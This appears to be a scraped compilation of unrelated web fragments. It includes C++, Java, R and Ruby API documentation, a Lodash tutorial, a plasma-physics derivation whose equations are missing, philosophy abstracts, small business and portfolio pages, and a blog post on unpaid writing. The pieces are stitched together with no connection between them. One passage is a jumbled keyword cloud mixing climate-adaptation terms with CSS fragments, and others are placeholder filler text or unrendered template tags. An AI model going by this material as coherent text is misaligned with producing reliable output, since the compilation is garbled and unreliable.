Member Functions: allocated, available, blockSize, get, release
Constructors
MemoryPool
MemoryPool(
std::size_t blockSize,
int preAlloc = 0,
int maxAlloc = 0
);
Creates a MemoryPool for blocks with the given blockSize. The number of blocks given in preAlloc are preallocated.
Destructor
~MemoryPool
~MemoryPool();
Member Functions
allocated
int allocated() const;
Returns the number of allocated blocks.
available
int available() const;
Returns the number of available blocks in the pool.
blockSize
std::size_t blockSize() const;
Returns the block size.
get
void * get();
Returns a memory block. If there are no more blocks in the pool, a new block will be allocated.
If maxAlloc blocks are already allocated, an OutOfMemoryException is thrown.
release
void release(
void * ptr
);
Releases a memory block and returns it to the pool.


learning social climate change adaptation organisational Cundill South factors stakeholders {border-style project Roux personal px;} #ffffff;} Environmental respondents knowledge adaptive lack :). Jeffrey Pelling capacity Climate projects used challenges individuals local organisations Change Muro Nilsson Swartling processes Africa Social communities implementation initiatives management work Ison Society action awareness important learning. online planning responses understanding Collins Ecology High Research governance government need objectives obstacles px; study {font-family Murray Policy challenge conflict different font-size frequently https://doi.org/./ES-- impacts implementing political present promoting resolution short time trust (DEA Bos Fabricius addition, believed data departments difficult double; funding goals indicators levels people present. promote requires response stakeholders, survey use viewed ‘The (%) Africa, African Global Paper Studies Working analysis associated barriers border-color border-width collab: cooperation employees engage engagement ensure feedback however, inadequate key learning, level majority mentioned natural participation resource solid; support survey. variables working {font-style {font-weight Africa. DEA Department Disaster Governance Learning National Presence Program Science Table Van Wilson [], actors affected approach appropriate better bold budget budgets case come community courier; decision development education em; environmental factors, financial http://orcid.org/--- https://doi.org/./eet. ideas improved individuals, initiated initiatives. involved locally low perceived policy promoted pt;} reflection research shortcomings significant stakeholders’ systems technical understand using


Manjari is a Malayalam and Latin family whose name means pearl in Malayalam. It's also the name of a poetic metre. This family is suitable for body text and titles.
To contribute, see github.com/smc/manjari


Alien³
Alien³ is a movie starring Sigourney Weaver, Charles S. Dutton, and Charles Dance. After her last encounter, Ellen Ripley crash-lands on Fiorina 161, a maximum security prison. When a series of strange and deadly events occur...


AMAIZING PEOPLE ARE MAKING AMAIZING DESIGNS IN AMAIGING ENVIRONMENT
When you work with us, you are a team of committed collaborators.All aspects pf our software development process are intergrated, interactive
and agile
Our approach unifies design, development and product managment to create exceptional products.
We start each project by understading your business goals, the user's needs and the product requirements
Then we help translate them into effective and elegant solutions.
Before we sign a contract or write a line of code our team will spend the necessary time needed to understand your product vision
The outcome of this scoping is proposal or high-level statement of work.
base on your requirements, we can provide acomplete offerin or just the pieces you need.
DESIGN
Our design practice offers a full range of services
including brand strategy,interction and visual design
and user experience testingThroughout your project,
our designers create and implement visual design and workflows
,solicit userfeedback and work with you to make sure what gets built
is what is needed
DEVELOPMENT
All engineers are fluent in the latest enterprise, mobile
and web development technologies.They collaborate with
your team to write, and
improve code on a daily basis, using proven practices
such as test-driven development and pair programming.
PRODUCT MANAGMENT
All engineers are fluent in the latest enterprise, mobile
and web development technologies.They collaborate with your
team to write, and improve
code on a daily basis, using proven practices
such as test-driven development and pair programming.
Delani Studio
2019


--- layout: page title: About header-img: "img/about-bg.png" ---
Super mom who can code and eats chocolate to survive..here's my other blog post about life in general.


The md-icon
directive is an markup element useful for showing an icon based on a font-face
or a SVG. Both external SVGs (via URLs) or cached SVG from icon sets can be
easily loaded and used.
string
string
String URL [or expression ] used to load, cache, and display an external SVG.
string
string
String name used for lookup of the icon from the internal cache; interpolated strings or
expressions may also be used. Specific set names can be used with the syntax <set name>:<icon name>
.
To use icon sets, developers are required to pre-register the sets using the $mdIconProvider
service.
string
string
String name of CSS icon associated with the font-face will be used to render the icon. Requires the fonts and the named CSS styles to be preloaded.
string
string
Labels icon for accessibility. If an empty string is provided, icon
will be hidden from accessibility layer with aria-hidden="true"
. If there's no alt on the icon
nor a label on the parent element, a warning will be logged to the console.


Menu
Home
Company
People
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Products
H+ ACTIVE apparel
H+ POWER supplements
H+ SPORT mineral water
Shop
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Home
Company
People
History
Philosophy
Products
H+ ACTIVE apparel
H+ POWER supplements
H+ SPORT mineral water
Shop
Blog
Contact
Products
{{response}}
{{products.name}}
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RECORD_KEY_BIN_NAME
- Static variable in class com.aerospike.txnSupport.
AerospikeClientWithTxnSupport
RECORD_KEY_SET_DELIMITER
- Static variable in class com.aerospike.txnSupport.
AerospikeClientWithTxnSupport
removeAccounts()
- Method in class com.aerospike.txnSupport.
AccountTransferSimulationTest
Remove all account records
removeLock(Key, String)
- Method in class com.aerospike.txnSupport.
AerospikeClientWithTxnSupport
Remove lock for a given key/txnID combination If combination does not exist, no action is taken
removeLock(Key, String)
- Method in interface com.aerospike.txnSupport.
TxnSupport
Remove lock for a given key/txnID combination If combination does not exist, no action is taken
removeOrphanLocks()
- Method in class com.aerospike.txnSupport.
TransactionManager
Remove all timed out orphan locks ( those not associated with an existing txn record )
removeState()
- Method in class com.aerospike.txnSupport.
AccountTransferSimulationTest
Remove simulation state record
rollback(String)
- Method in class com.aerospike.txnSupport.
AerospikeClientWithTxnSupport
Rollback transaction identified by txnID Package level visibility to support use by TransactionManager
rollback(String)
- Method in interface com.aerospike.txnSupport.
TxnSupport
Rollback a transaction identified by txnID
rollbackExpiredTxns()
- Method in class com.aerospike.txnSupport.
TransactionManager
Rollback expired transactions ( those with a timestamp lt NOW - time out )
run()
- Method in class com.aerospike.txnSupport.
AccountTransferSimulationTest.SingleTransaction
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Lailaazmi Cydia Repo
Home of Lailaazmi
Tweaks, Themes and Apps
Cydia
Zebra
Depictions
Information
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Tweaks
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Berbagi Itu Indah Kawan
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Themes
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Soon
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REQUEST


JavaScript in its original form can (at times) be a bit tough for a
person to know what to code in order to accomplish the goal that
person has in mind. It can also be tedious at times to write out all
of your commonly used functions, loops, and such over and over again.
Enter, Lodash. Lodash is what's referred to as a "reference library"
for the JavaScript programming language. It's a collection of
pre-written code that allows coders to work faster, smarter, and with
consistency. Here are some this particular library's capabilities:
Our Data
So, before we get too ahead of ourselves we're going to need some data
to manipulate. Real world examples are always ideal, so...Oh! I know!
Let's solve a mystery!
The Case of the Sneaky Sandwich Smuggler
*working title
Someone has been taking people's sandwiches from the office
refrigerator! And that just won't do. No sir.
We'll need to put a team of people from the office together to capture
that crafty cold cut cat burglar (the detectives stopped returning our
calls). First, we'll need to get an array of everyone that was in the
office!
_.sampleSize
Now we know who all was in the office! Excellent. Now we need a team.
But who to choose? Ah, there's no time! A sandwich may get stolen
while we debate! Let's pick five workers at random using Lodash's
_.sampleSize:
_.chunk
Okay team, we've got a lot of people to interview and not a lot of
time (lunch is on the line!) Hmm, we've got fifty people to interview,
so let's divide everyone up into groups of ten using the Lodash
method, _.chunk (separated by little squares for ease of reading):
_.reverse
They're still not cracking! Hmm, maybe they're talking to each other,
getting their stories straight. Let's flip the group around with
_.reverse, see if that shakes them up!
_.shuffle
Well that didn't work. Oh! Of course! We just reversed the order. Any
conspirators would still be able to talk to each other! Let's really
get them separated using _.shuffle!
_.without
New information has come about! We found a list of sandwich theft
crimes from all around the city and a few names kept cropping up!
Maybe they have more information than they were letting on, eh? The
names in question were "John", "Cody", Allison, "Eric", "Jenny",
"Ann", "Tina", "Jim", "Ryan" and "James". So, if any of those names
are on our suspect list, we can remove them the group for extra
interrogation. Let's let the group know that we will be splitting them
up, eh?
Mystery Solved!
A confession! Threatening to separate them all worked, and we now know
who took the sandwiches! (And who's now buying us all lunch.) See the
answer below!


The template class of the lazy matrix. It is final and implements Curiously Recurring Templates Pattern. These matrices have immutable dimension and shapes will not change once created.
More...
|
| auto | get (size_t i, size_t j) const |
| | returns element at i, j position in the matrix. More...
|
| |
| auto & | get (size_t i, size_t j) |
| | returns element at i, j position in the matrix by reference. It can be used to assign values to i,j as well. More...
|
| |
| auto | get_dimension () const |
| | Get the dimension of the matrix.   More...
|
| |
| template<typename E > |
| | lazy_matrix (expression< E > const &expr) |
| | Construct a new lazy matrix object from an expression type. The Expression will be evaluated to initialize the new variable. More...
|
| |
| template<typename E > |
| lazy_matrix & | operator= (expression< E > const &expr) |
| | Assignment from a expression will cause the expression to be evaluated. More...
|
| |
| lazy_matrix & | operator= (lazy_matrix const &other) |
| | Assignment from other Matrix Variable. More...
|
| |
| template<typename E > |
| lazy_matrix & | operator+= (expression< E > const &expr) |
| | Add and Assignment overload with expression. It will cause expression to be evaluated. More...
|
| |
| template<typename E > |
| lazy_matrix & | operator-= (expression< E > const &expr) |
| | Subtract and Assignment overload with expression. It will cause expression to be evaluated. More...
|
| |
| template<typename E > |
| lazy_matrix & | operator*= (expression< E > const &expr) |
| | Multiply and Assignment overload with expression. It will cause expression to be evaluated. More...
|
| |
| template<typename E > |
| lazy_matrix & | operator/= (expression< E > const &expr) |
| | Division and Assignment overload with expression. It will cause expression to be evaluated. More...
|
| |
| template<typename E > |
| bool | operator== (expression< E > const &expr) |
| | This operator will check if the expression and the matrix have same value. It will cause the expression to be evalauted. More...
|
| |
| template<typename T > |
| void | scalar_add (T t) |
| | Scaler Addition to all the elements in the matrix. Type must have an overload with + operator to dtype of matrix. More...
|
| |
| template<typename T > |
| void | scalar_sub (int t) |
| | Scaler subtraction to all the elements in the matrix. Type must have an overload with - operator to dtype of matrix. More...
|
| |
| template<typename T > |
| void | scalar_mul (T t) |
| | Scaler Multiplication to all the elements in the matrix. Type must have an overload with * operator to dtype of matrix. More...
|
| |
| void | view (std::ostream &stream=std::cout) |
| | Prints the content of a matrix to the stream. Default to std::cout. More...
|
| |
| auto | get (size_t i, size_t j) const |
| | returns the expression at i, j. More...
|
| |
| dimension | get_dimension () const |
| | Get the dimension of expression object. More...
|
| |
template<typename dtype>
class boost::test::lazy_matrix< dtype >
The template class of the lazy matrix. It is final and implements Curiously Recurring Templates Pattern. These matrices have immutable dimension and shapes will not change once created.
- Template Parameters
-
| dtype | the type that this matrix will hold. |


TMStrongAccess Code Example
long session_handle;
unsigned char state_buffer[15360];
short result;
/* session_handle set from a call to TMExtendedStartSession */
...
/* the internal 8-byte ROM buffer contains a valid ROM that is going to be selected to do a device specific operation */
...
/* verify and access the current device */
result = TMStrongAccess(session_handle, state_buffer);
if (result == 1)
{
/* device on 1-Wire network and accessed, ready for
memory operation */
...
}
else
{
/* device not on 1-Wire network or an error */
...
}
/* close the session with a call to TMEndSession */
...


|
libpqxx
4.0.1
|
Common definitions for cursor types. More...
#include <cursor.hxx>
Public Types | |
| enum | accesspolicy { forward_only, random_access } |
| Cursor access-pattern policy. More... | |
| enum | updatepolicy { read_only, update } |
| Cursor update policy. More... | |
| enum | ownershippolicy { owned, loose } |
| Cursor destruction policy. More... | |
| typedef result::size_type | size_type |
| typedef result::difference_type | difference_type |
Public Member Functions | |
| const std::string & | name () const throw () |
| Name of underlying SQL cursor. |
Static Public Member Functions | |
Special movement distances | |
| static difference_type | all () throw () |
| Special value: read until end. | |
| static difference_type | next () throw () |
| Special value: read one row only. | |
| static difference_type | prior () throw () |
| Special value: read backwards, one row only. | |
| static difference_type | backward_all () throw () |
| Special value: read backwards from current position back to origin. |
Protected Member Functions | |
| cursor_base (connection_base &, const std::string &Name, bool embellish_name=true) |
Protected Attributes | |
| const std::string | m_name |
Common definitions for cursor types.
In C++ terms, fetches are always done in pre-increment or pre-decrement fashion–i.e. the result does not include the row the cursor is on at the beginning of the fetch, and the cursor ends up being positioned on the last row in the result.
There are singular positions akin to end()
at both the beginning and the end of the cursor's range of movement, although these fit in so naturally with the semantics that one rarely notices them. The cursor begins at the first of these, but any fetch in the forward direction will move the cursor off this position and onto the first row before returning anything.
Cursor destruction policy.
The normal thing to do is to make a cursor object the owner of the SQL cursor it represents. There may be cases, however, where a cursor needs to persist beyond the end of the current transaction (and thus also beyond the lifetime of the cursor object that created it!), where it can be "adopted" into a new cursor object. See the basic_cursor documentation for an explanation of cursor adoption.
If a cursor is created with "loose" ownership policy, the object representing the underlying SQL cursor will not take the latter with it when its own lifetime ends, nor will its originating transaction.
|
protected |
References cursor_base().
Referenced by cursor_base().
|
static |
Special value: read until end.
Referenced by pqxx::internal::obtain_stateless_cursor_size().
|
static |
Special value: read backwards from current position back to origin.
Referenced by pqxx::stateless_cursor< up, op >::stateless_cursor().
| const std::string& pqxx::cursor_base::name | ( | ) | const throw () |
Name of underlying SQL cursor.
Referenced by pqxx::internal::sql_cursor::sql_cursor().
|
static |
Special value: read one row only.
|
static |
Special value: read backwards, one row only.
|
protected |


All Packages Class Hierarchy This Package Previous Next Index
Class BIT.highBIT.InstructionDoubleOperand
java.lang.Object
|
+----BIT.highBIT.Instruction
|
+----BIT.highBIT.InstructionDoubleOperand
- public class InstructionDoubleOperand
- extends Instruction
Represents a Java Virtual Machine instrucion that takes two operands.
- See Also:
- Instruction
-
InstructionDoubleOperand(int, DataInputStream, int, Routine)
- Constructor for InstructionDoubleOperand class.
-
InstructionDoubleOperand(int, short, Routine)
-
-
getLength()
- Returns the length (in bytes) of this instruction including opcode.
-
getOperandValue()
- Returns the 16 bit value resulting from operand1 and operand2.
-
setOperandValue(short)
- Sets the 16 bit value arg to operand1 and operand2.
-
write(DataOutputStream)
-
InstructionDoubleOperand
public InstructionDoubleOperand(int opcode,
DataInputStream iStream,
int offset,
Routine routine)
- Constructor for InstructionDoubleOperand class.
- Parameters:
- opcode - the opcode of this instruction
- iStream - the data input stream where the operands are gotten from
InstructionDoubleOperand
public InstructionDoubleOperand(int opcode,
short operand,
Routine routine)
write
public void write(DataOutputStream oStream)
- Overrides:
- write in class Instruction
getOperandValue
public int getOperandValue()
- Returns the 16 bit value resulting from operand1 and operand2.
- Overrides:
- getOperandValue in class Instruction
setOperandValue
public void setOperandValue(short value)
- Sets the 16 bit value arg to operand1 and operand2.
getLength
public int getLength()
- Returns the length (in bytes) of this instruction including opcode.
- Overrides:
- getLength in class Instruction
All Packages Class Hierarchy This Package Previous Next Index


| do {dplyr} | R Documentation |
do()
is superseded as of dplyr 1.0.0, because its syntax never really
felt like it belong with the rest of dplyr. It's replaced by a combination
of summarise()
(which can now produce multiple rows and multiple columns),
nest_by()
(which creates a rowwise tibble of nested data),
and across()
(which allows you to access the data for the "current" group).
do(.data, ...)
.data |
a tbl |
... |
Expressions to apply to each group. If named, results will be
stored in a new column. If unnamed, should return a data frame. You can
use |
# do() with unnamed arguments becomes summarise() # . becomes across() by_cyl <- mtcars %>% group_by(cyl) by_cyl %>% do(head(., 2)) # -> by_cyl %>% summarise(head(across(), 2)) by_cyl %>% slice_head(n = 2) # Can refer to variables directly by_cyl %>% do(mean = mean(.$vs)) # -> by_cyl %>% summarise(mean = mean(vs)) # do() with named arguments becomes nest_by() + mutate() & list() models <- by_cyl %>% do(mod = lm(mpg ~ disp, data = .)) # -> models <- mtcars %>% nest_by(cyl) %>% mutate(mod = list(lm(mpg ~ disp, data = data))) models %>% summarise(rsq = summary(mod)$r.squared) # use broom to turn models into data models %>% do(data.frame( var = names(coef(.$mod)), coef(summary(.$mod))) ) # -> if (requireNamespace("broom")) { models %>% summarise(broom::tidy(mod)) }


Warehousing Dataflow Operators,
14
Warning dialog for end of exam, in IBM Certification exam,
30,
30
WebSphere Application Server,
46
WHENEVER, stored procedures and,
236
Wildcard characters, SELECT and,
276–277
Windows,
8,
11,
36,
40,
41,
42,
47,
49,
53,
54,
567,
568,
573
Database Connection Services (DCS) directory in,
181–182,
249
WITH keyword, SELECT and,
291
WITH RETURN FOR clause, stored procedures and,
233
Workload Management Feature,
39,
42
World Wide Web Consortium (W3C),
335


In the above, the perturbed part of the distribution function, δF, is split at least three times in order to (1) simplify the gyrokinetic equation by splitting out the adiabatic response and (2) eliminate the time derivatives, ∂δϕ∕∂t and (3) ∂δA∕∂t, on the right-hand. To avoid confusion, I summarize the split of the distribution function here. The total distribution function F is split as
|
| (150) |
where F0 is the equilibrium distribution function and δF is the perturbed part of the total distribution function. δF is further split as
|
| (151) |
where δh satisﬁes the gyrokinetic equation (142) or (149). In Eq. (151), the red term gives rise to the so-called polarization density (discussed in Sec. 5.6). The analytic dependence of this term on δΦ is utilized in solving the Poisson equation. The blue term also has an analytic dependence on δA, which, however, will cause numerical problems in particle simulations if it is utilized in solving the Ampere equation (the so-called “cancellation problem” in gyrokinetic simulations).
Consider the approximation δA ≈ δA∥e∥, then the blue term in Eq. (151) is written as
|
| (152) |
Notice that v∥ can be taken out of the gyro-averaging. Then the above equation is written
|
| (153) |
If we neglect the FLR eﬀect, then the above expression is written
|
| (154) |
The zeroth order moment (number density) is then written as
|
| (155) |
which is zero if F0 is Maxwellian.
Next, consider the parallel current carried by distribution (154), which is written
|
| (156) |
If F0 is a Maxwellian distribution given by
|
| (157) |
then
|
| (158) |
Then expression (156) is written
|
| (159) |
Working in the spherical coordinates, then v∥ = v cos𝜃 and dv = v2 sin𝜃dvd𝜃dϕ. Then expression (159) is written
|
| (162) |
The parallel currents are given by
|
| (163) |
|
| (164) |
where δJ∥i′ and δJ∥e′ is the parallel current carried by the distribution function δh in Eq. (151), which are updated from the value at the nth time step to the (n + 1)th time step using an explicit scheme and therefore does not depends on the ﬁeld at the (n + 1)th step. The blue terms in Eqs. (163) and (164) depend on the ﬁeld at the (n + 1)th step and thus need to be moved to the left-hand side of Ampere’s law (162) if we want to solve this equation by direct methods. In this case, equation (162) is written as
The blue terms are sometimes called “adiabatic current”. The red terms are approximation to the “adiabatic current” obtained by neglecting the FLR eﬀect. Because the ion adiabatic current is less than the electron adiabatic current by a factor of me∕mi, its accuracy is not important, and is approximated by the drift-kinetic limit in GEM. And the cancellation error is not a problem and hence can be neglected. In this case, equation (166) is simpliﬁed as


--- layout: default title: Store permalink: /store/home --- {% include header.html with_signup_form='true' has_sticky_navigation='true' background_color='transparent' %}
Pick from stacks selected and verified by the Koding team. These stacks have been vigorously reviewed to be of the highest quality and are frequently downloaded by our users.
Nulla vitae elit libero, a pharetra augue. Duis mollis, est non commodo luctus, nisi erat porttitor ligula, eget lacinia odio sem nec elit. Integer posuere erat a ante venenatis dapibus posuere.


##
Async Iterators & Generators in ES2018
Marcin Panek
- ####
1. Iterators
- ####
2. Generators
- ####
3. Async Iterators
- ####
4. Async Generators
- ####
5. When to use Async Iterators?
###
1. Iterators
####
1. Iterators
- Iterate over
`Map, Array`
or a custom collection that comply to the
`iterator protocol`
- Implement
`Symbol.iterator`
- Use
`for ... of`
loop to iterate over collection ####
1. Iterators
Class that implements itarator protocol
####
1. Iterators
Looping through the iterable
###
2. Generators
####
2. Generators
- Provide a higher-level abstraction to
`iterables`
- Preserve inner state and pause execution - Use a keyword
`yield`
####
2. Generators
Fibonacci number generator
####
2. Generators
###
Fibonacci Number Generator:
Next
Start
###
3. Async Iterators
####
3. Async Iterators
- An
`Iterator`
that can handle
`Promise`
- Implement a
`Symbol.asyncIterator`
function instead of
`Symbol.iterator`
- Use
`for await .. of`
to iterate over collection ####
3. Async Iterators
Iterate through mongoDB documents one by one
###
4. Async Generators
####
4. Async Generators
- Works the same way as a generator but can handle
`Promise`
- Provide higher level abstraction to
`Async Iterators`
####
4. Async Generators
Iterate through GitHub repositories
####
4. Async Generators
###
Async GitHub API Iteration:
Next
Repository
⭐
No data
###
5. When to use Async Iterators?
####
5. When to use Async Iterators?
### Pros: - They simplify the code - Use when readability is key ####
5. When to use Async Iterators?
### Cons: - Not as performant as other solutions ex. RxJS
##
Thank You For Attention
Presentation link: [goo.gl/P8fBEQ](http://goo.gl/P8fBEQ)


--- layout: default title: Word Lions LLC description: "Word Lions creates persuasive and educational content for small and medium businesses." --- {% include JB/setup %}
Find out what we can do for you.
Talk to us about your technical marketing and B2B communication needs.
Whether you need long-form documents like white papers, or short-form materials like case studies and web copy, Word Lions can help you create compelling content to support your marketing campaign.
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Scrub2 is a planing app for Scrum like development. Cards show features to be implemented or bugs that should removed. The priority of a card is indicated by the position in a list - the higher the card is the more important it is. By finishing a card it is moved to the finished card list and the time of finishing is logged. Using this data, a chart is drawn showing the project progress over time.
The animation can be toggled on and off and the complete local data can be purged. Note that some browsers may remember entries in input fields.


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Her companions instrument set estimating sex remarkably solicitude motionless. Property men the why smallest graceful day insisted required. Inquiry justice country old placing sitting any ten age. Looking venture justice in evident in totally he do ability. Be is lose girl long of up give. Trifling wondered unpacked ye at he. In household certainty an on tolerably smallness difficult. Many no each like up be is next neat. Put not enjoyment behaviour her supposing. At he pulled object others.
Up is opinion message manners correct hearing husband my. Disposing commanded dashwoods cordially depending at at. Its strangers who you certainty earnestly resources suffering she. Be an as cordially at resolving furniture preserved believing extremity. Easy mr pain felt in. Too northward affection additions nay. He no an nature ye talent houses wisdom vanity denied.
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AppControllers and other services need to read or write data relating to users and applications hosted in AppScale. Since it has to be done in a database-agnostic fashion, we throw up a special server that responds to SOAP requests for this information, called the UserAppServer. This class provides convenience methods for interacting with the UserAppServer.
The port that the UserAppServer binds to, by default.
# File AppController/lib/user_app_client.rb, line 25 def initialize(ip, secret) @ip = ip @secret = secret @conn = SOAP::RPC::Driver.new("https://#{@ip}:#{SERVER_PORT}") @conn.add_method("change_password", "user", "password", "secret") @conn.add_method("commit_new_user", "user", "passwd", "utype", "secret") @conn.add_method("commit_new_app", "user", "appname", "language", "secret") @conn.add_method("commit_tar", "app_name", "tar", "secret") @conn.add_method("delete_app", "appname", "secret") @conn.add_method("is_app_enabled", "appname", "secret") @conn.add_method("is_user_cloud_admin", "username", "secret") @conn.add_method("does_user_exist", "username", "secret") @conn.add_method("get_user_data", "username", "secret") @conn.add_method("get_app_data", "appname", "secret") @conn.add_method("delete_instance", "appname", "host", "port", "secret") @conn.add_method("get_tar", "app_name", "secret") @conn.add_method("add_instance", "appname", "host", "port", "secret") @conn.add_method("get_all_apps", "secret") @conn.add_method("get_all_users", "secret") end
# File AppController/lib/user_app_client.rb, line 237 def add_instance(appname, host, port, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.add_instance(appname, host, port, @secret) } if result == "true" return true else return false end end
# File AppController/lib/user_app_client.rb, line 129 def change_password(user, new_password, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.change_password(user, new_password, @secret) } if result == "true" puts "We successfully changed the password for the given user." elsif result == "Error: user not found" puts "We were unable to locate a user with the given username." else puts "[unexpected] Got this message back: [#{result}]" end end
# File AppController/lib/user_app_client.rb, line 89 def commit_new_app(user, app_name, language, file_location) commit_new_app_name(user, app_name, language) commit_tar(app_name, file_location) end
# File AppController/lib/user_app_client.rb, line 94 def commit_new_app_name(user, app_name, language, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.commit_new_app(user, app_name, language, @secret) } if result == "true" puts "We have reserved the name #{app_name} for your application." elsif result == "Error: appname already exist" puts "We are uploading a new version of the application #{app_name}." elsif result == "Error: User not found" abort("We were unable to reserve the name of your application. Please contact your cloud administrator for more information.") else puts "[unexpected] Commit new app says: [#{result}]" end end
# File AppController/lib/user_app_client.rb, line 74 def commit_new_user(user, encrypted_password, user_type, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.commit_new_user(user, encrypted_password, user_type, @secret) } if result == "true" puts "\nYour user account has been created successfully." elsif result == "false" abort("\nWe were unable to create your user account. Please contact your cloud administrator for further details.") else puts "\n[unexpected] Commit new user returned: [#{result}]" end end
# File AppController/lib/user_app_client.rb, line 111 def commit_tar(app_name, file_location, retry_on_except=true) file = File.open(file_location, "rb") tar_contents = Base64.encode64(file.read) result = "" make_call(300, retry_on_except) { result = @conn.commit_tar(app_name, tar_contents, @secret) } if result == "true" puts "#{app_name} was uploaded successfully." elsif result == "Error: app does not exist" abort("We were unable to upload your application. Please contact your cloud administrator for more information.") else puts "[unexpected] Commit new tar says: [#{result}]" end end
# File AppController/lib/user_app_client.rb, line 144 def delete_app(app, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.delete_app(app, @secret) } if result == "true" return true else return result end end
# File AppController/lib/user_app_client.rb, line 197 def delete_instance(appname, host, port, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.delete_instance(appname, host, port, @secret) } return result end
# File AppController/lib/user_app_client.rb, line 157 def does_app_exist?(app, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.is_app_enabled(app, @secret) } if result == "true" return true else return false end end
# File AppController/lib/user_app_client.rb, line 170 def does_user_exist?(user, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.does_user_exist(user, @secret) } return result end
# File AppController/lib/user_app_client.rb, line 206 def get_all_apps(retry_on_except=true) all_apps = "" make_call(10, retry_on_except) { all_apps = @conn.get_all_apps(@secret) } app_list = all_apps.split(":") app_list = app_list - [app_list[0]] # first item is a dummy value return app_list end
# File AppController/lib/user_app_client.rb, line 217 def get_all_users(retry_on_except=true) all_users = "" make_call(10, retry_on_except) { all_users = @conn.get_all_users(@secret) } user_list = all_users.split(":") user_list = user_list - [user_list[0]] # first item is a dummy value return user_list end
# File AppController/lib/user_app_client.rb, line 188 def get_app_data(appname, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.get_app_data(appname, @secret) } return result end
This method finds the first user who is a cloud administrator. Since the UserAppServer doesn’t provide a function that does this for us, we have to get a list of all the users that exist and individually query the UAServer to find out who the cloud admin is. TODO(cgb): Maybe cache who the cloud admin is to speed up future queries?
# File AppController/lib/user_app_client.rb, line 291 def get_cloud_admin() user_list = get_all_users() user_list.each { |user| return user if is_user_cloud_admin?(user) } raise Exception.new("Couldn't find a cloud administrator") end
This method returns an array of strings, each corresponding to a ip:port that the given app is hosted at.
# File AppController/lib/user_app_client.rb, line 272 def get_hosts_for_app(appname) app_data = get_app_data(appname) hosts = app_data.scan(%r\nhosts:([\d\.|:]+)\n/).flatten.to_s.split(":") ports = app_data.scan(%r\nports: ([\d|:]+)\n/).flatten.to_s.split(":") host_list = [] hosts.each_index { |i| host_list << "#{hosts[i]}:#{ports[i]}" } return host_list end
# File AppController/lib/user_app_client.rb, line 228 def get_tar(appname, retry_on_except=true) result = "" make_call(300, retry_on_except) { result = @conn.get_tar(appname, @secret) } return result end
# File AppController/lib/user_app_client.rb, line 179 def get_user_data(username, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.get_user_data(username, @secret) } return result end
This method sees if the given app is already uploaded in the system. TODO(cgb): compare this with is_app_enabled? above
# File AppController/lib/user_app_client.rb, line 252 def is_app_uploaded?(appname) all_apps = get_all_apps() return app_list.include?(appname) end
# File AppController/lib/user_app_client.rb, line 257 def is_user_cloud_admin?(user, retry_on_except=true) result = "" make_call(10, retry_on_except) { result = @conn.is_user_cloud_admin(user, @secret) } if result == "true" return true else return false end end
# File AppController/lib/user_app_client.rb, line 47 def make_call(timeout, retry_on_except) result = "" begin Timeout::timeout(timeout) do begin yield if block_given? end end rescue OpenSSL::SSL::SSLError retry rescue Errno::ECONNREFUSED if retry_on_except sleep(1) retry else abort("We were unable to establish a connection with the UserAppServer at the designated location. Is AppScale currently running?") end rescue Exception => except if except.class == Interrupt abort end puts "An exception of type #{except.class} was thrown." retry if retry_on_except end end


According to Hempel`s paradox, evidence (E) that an object is a nonblack nonraven confirms the hypothesis (H) that every raven is black. According to the standard Bayesian solution, E does confirm H but only to a minute degree. This solution relies on the almost never explicitly defended assumption that the probability of H should not be affected by evidence that an object is nonblack. I argue that this assumption is implausible, and I propose a way out for the Bayesians.
This paper explores a connection between underdetermination and the identity conditions for theories: Must we provide the latter before enquiring into the former? Quine proposes that we call two theories identical if they are equivalent under a reconstrual of predicates, but this may mishandle important cases. Another proposal is to defer to the particular judgements of actual scientists. Consideration of an historical episode--- the alleged equivalence of wave and matrix mechanics--- shows that this second proposal also fails. Nevertheless, I suggest, we may enquire into underdetermination without a better candidate.
This paper argues that our current best cosmological theories, according to which cosmos is very big are compatible with all possible evidence. The problem is unrelated to the Quine-Duhem underdetermination thesis. The compatibility to which this paper draws attention is much more radical: it appears as if all of our best cosmological theories are perfectly probabilistically compatible with all possible evidence and that no empirical discovery could give us any reason whatever to favor one such theory over another. This consequence is absurd. In order to create an evidential link between cosmological theory and observation, a new methodological principle is needed. A candidate for such a principle is proposed, using a Bayesian framework that takes account of observation selection effects. Various applications in other scientific fields are considered.
I discuss the behavior of the Akaike Information Criterion in the limit when the sample size grows. I show the falsity of the claim made recently by Stanley Mulaik in Philosophy of Science that AIC would not distinguish between saturated and other correct factor analytic models in this limit. I explain the meaning and demonstrate the validity of the familiar, more moderate criticism that AIC is not a consistent estimator of the number of parameters of the smallest correct model. I also give a short explanation why this feature of AIC is compatible with the motives of using it.


Come back in Fall 2020 for the next round of mentors!
Need help in the meantime? Feel free to reach out to these spring mentors over the summer.
--- layout: base ---
{{ site.compass.tagline }}
Need help in the meantime? Feel free to reach out to these spring mentors over the summer.


Mon Mar 10, 2014
If you were offered a writing job where you would get paid $5 to write an article - would you take it? How about $2? How about 99 cents? How about free? If your outrage increased with each subsequent low-ball offer, then at least you have your priorities straight. But maybe you paused at free. After all, many of us write for enjoyment, or validation, or exposure, or whatever without being paid a cent.
They say content is king. And by “they” I mean the shrewd billionaires out there who figured out that they could build a platform for users to express themselves on, then sit back and rake in the advertising dollars as millions of users both generate and perpetuate the content with zero overhead. Users have entered into an uneasy truce with companies such as Facebook, Twitter, or Tumblr because they don’t really value their contributions. A throwaway tweet doesn’t seem worth anything in the big picture (although after your 50,000th tweet you should think about the novel you could have written).
But when it comes to long-form pieces, bloggers (who are bonafide writers, let’s not forget that) take the time to craft something with a bit more substance and meaning than your average Facebook post. So when I see bloggers raving about Google+ as the best blogging platform to reach a wide audience, I just shake my head.
